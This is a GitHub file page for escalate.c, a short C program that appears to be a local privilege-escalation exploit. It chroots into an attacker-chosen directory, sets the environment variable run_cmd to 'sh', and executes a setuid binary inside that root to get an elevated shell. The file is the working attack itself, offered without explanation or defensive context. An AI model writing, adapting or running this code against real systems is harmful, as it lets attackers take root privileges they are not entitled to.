-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathescalate.c
More file actions
47 lines (39 loc) · 1013 Bytes
/
escalate.c
File metadata and controls
47 lines (39 loc) · 1013 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "usage: escalate <chroot_dir> <suidexe>\n");
return EXIT_FAILURE;
}
const char *chroot_dir = realpath(argv[1], NULL);
if (chroot_dir == NULL) {
perror("chroot_dir");
return EXIT_FAILURE;
}
const char *suidexe = realpath(argv[2], NULL);
if (suidexe == NULL) {
perror("suidexe");
return EXIT_FAILURE;
}
if (chdir("/") != 0) {
perror("chdir");
return EXIT_FAILURE;
}
if (chroot(chroot_dir) != 0) {
perror("chroot");
exit(EXIT_FAILURE);
}
if (setenv("run_cmd", "sh", 1) != 0) {
perror("setenv");
exit(EXIT_FAILURE);
}
char path[PATH_MAX];
snprintf(path, PATH_MAX, ".%s", suidexe);
execl(path, path, NULL);
perror("exec");
return EXIT_FAILURE;
}